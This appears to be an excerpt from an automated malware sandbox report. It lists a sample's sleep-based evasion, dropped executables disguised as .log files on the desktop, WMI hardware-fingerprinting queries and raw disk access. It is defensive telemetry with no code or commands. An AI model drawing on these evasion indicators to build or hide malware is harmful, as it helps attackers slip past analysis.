Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 594625
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 594360
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 594063
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 593860
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 593625
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 593328
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 593094
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 592750
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 592547
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 592094
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 591735
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 591504
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 591219
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 590953
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 590641
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 590203
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 589953
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 589516
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 589000
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 588782
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 588407
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 588059
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 587597
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 587235
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586925
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586752
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586547
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586384
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586219
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 300000
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586051
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585885
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585719
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585532
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585356
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585192
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585047
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584875
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584688
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584485
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584321
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584150
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584000
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583846
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583684
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583573
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583438
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583282
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583146
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583015
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582905
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582797
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582687
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582578
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582461
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582348
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582219
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582091
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581966
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581859
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581749
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581641
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581531
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581422
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581313
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581203
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581094
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580969
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580860
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580735
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580625
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580516
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580391
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580272
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580103
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579997
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579884
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579779
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579672
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579563
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579453
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579324
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579219
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579094
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 578983
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 578874
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 578766
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 578641
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 578529

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4913	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4416	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4536
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4104
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3992
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Window / User API: threadDelayed 5158
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Window / User API: threadDelayed 4236

Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\htcPaTVC.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\IitSDvGY.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CvvLBlqK.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zHJVyCcw.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LqKTzAAu.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qeoNTMEG.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\FyhuXVvF.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\eIxzTFKJ.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hnxxzxgb.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JwbtnRPV.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vJjMMWBx.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QdcRcxPi.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\maPwcuvP.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\mlFoDzaq.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GvICsVKA.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NVLRgsWM.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zIxCDFUn.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vPOensqX.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\cIDyHnkk.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qTMMgMAe.log	Jump to dropped file
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xRAMIbuT.log	Jump to dropped file
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\HupKRiKa.log	Jump to dropped file

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_0-23776

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe TID: 7628	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5664	Thread sleep count: 4913 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7480	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5772	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2132	Thread sleep count: 4416 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6832	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1068	Thread sleep count: 4536 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2128	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5000	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7240	Thread sleep count: 4104 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7488	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3620	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7340	Thread sleep count: 3992 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4444	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6600	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\uAsLgsGzSk.exe TID: 7900	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\uAsLgsGzSk.exe TID: 3336	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 7868	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -33204139332677172s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -599891s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -599766s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1608	Thread sleep time: -39600000s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -598903s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -598266s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -597516s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -596985s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -596782s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -596625s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -596422s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -596266s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -596032s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -595844s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -595593s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -595369s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -595078s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -594891s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -594625s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -594360s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -594063s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -593860s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -593625s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -593328s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -593094s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -592750s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -592547s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -592094s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -591735s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -591504s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -591219s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -590953s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -590641s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -590203s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -589953s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -589516s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -589000s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -588782s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -588407s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -588059s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -587597s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -587235s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -586925s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -586752s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -586547s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -586384s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -586219s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1608	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -586051s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -585885s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -585719s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -585532s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -585356s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -585192s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -585047s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -584875s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -584688s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -584485s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -584321s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -584150s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -584000s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -583846s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -583684s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -583573s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -583438s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -583282s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -583146s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -583015s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -582905s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -582797s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -582687s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -582578s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -582461s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -582348s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -582219s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -582091s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -581966s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -581859s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -581749s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -581641s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -581531s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -581422s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -581313s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -581203s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -581094s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -580969s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -580860s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -580735s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -580625s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -580516s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -580391s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -580272s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -580103s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -579997s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -579884s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -579779s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -579672s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -579563s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -579453s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -579324s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -579219s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -579094s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -578983s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -578874s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -578766s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -578641s >= -30000s
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe TID: 1852	Thread sleep time: -578529s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4600	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Recovery\uAsLgsGzSk.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\uAsLgsGzSk.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0090A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		0_2_0090A69B
